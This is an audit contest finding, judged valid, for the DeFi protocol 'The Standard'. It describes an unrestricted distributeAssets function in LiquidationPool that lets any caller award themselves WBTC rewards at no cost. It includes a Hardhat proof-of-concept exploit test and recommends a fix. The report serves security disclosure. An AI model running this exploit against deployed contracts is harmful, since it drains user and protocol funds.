The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious user can give himself a reward in an accepted token of his choice in favor of native token

Summary

Malicious user can grant himself a reward in the reward mapping by calling the distributeAssets function in LiquidationPool and sending arbitrary parameters.

Vulnerability Details

Anyone can call this function. Therefore a malicious user can call this function with arbitrary parameters. You can send an asset struct with addr argument as zero address and symbol argument as the one of WBTC. Then you will receive rewards in WBTC while sending ether to the contract because of the way the logic is written in the function.

Also you can put the _hundredPC parameter to 0, and therefore not be charged anything, because the costInEuros variable will amount to zero (0) because it is multiplied with _hundredPC.

Unit test ATTACK written in test/liquidationPool.js

describe('HIGH VULNERABILITY', async () => {
it('allows anyone to call distributeAssets', async () => {
const balance = ethers.utils.parseEther('5000');
const tstVal = ethers.utils.parseEther('1000');
const eurosVal = ethers.utils.parseEther('1000');
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
await TST.approve(LiquidationPool.address, tstVal);
await EUROs.approve(LiquidationPool.address, eurosVal);
increase = LiquidationPool.increasePosition(tstVal, eurosVal);
await expect(increase).not.to.be.reverted;
await fastForward(DAY);
const { _rewards } = await LiquidationPool.position(user1.address);
const sumOfRewards = _rewards.reduce((acc, reward) => acc.add(reward.amount), BigNumber.from(0));
// Rewards to be distributed are 0
expect(sumOfRewards).to.equal(BigNumber.from(0));
const symbol = ethers.utils.formatBytes32String("WBTC");
const attack = await LiquidationPool.distributeAssets(
[
{
token: {
addr: ethers.constants.AddressZero,
dec: 8,
clAddr: WBTCUsd,
clDec: 8,
symbol
},
amount: ethers.utils.parseEther('1')
}
],
1,
0
, { value: ethers.utils.parseEther('1') });
const position = await LiquidationPool.position(user1.address);
console.log(position._rewards.find(r => r.symbol === symbol).amount.toString());
});
});

Impact

Funds are directly at risk as well as whole protocol functionality. Therefore, a HIGH severity.

Protocol functionality is disrupted. User funds are lost. Protocol funds are also lost.

Tools Used

Manul review, Hardhat

Recommendations

Add a security check to enable only Liquidation Pool Manager contract to call this function.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.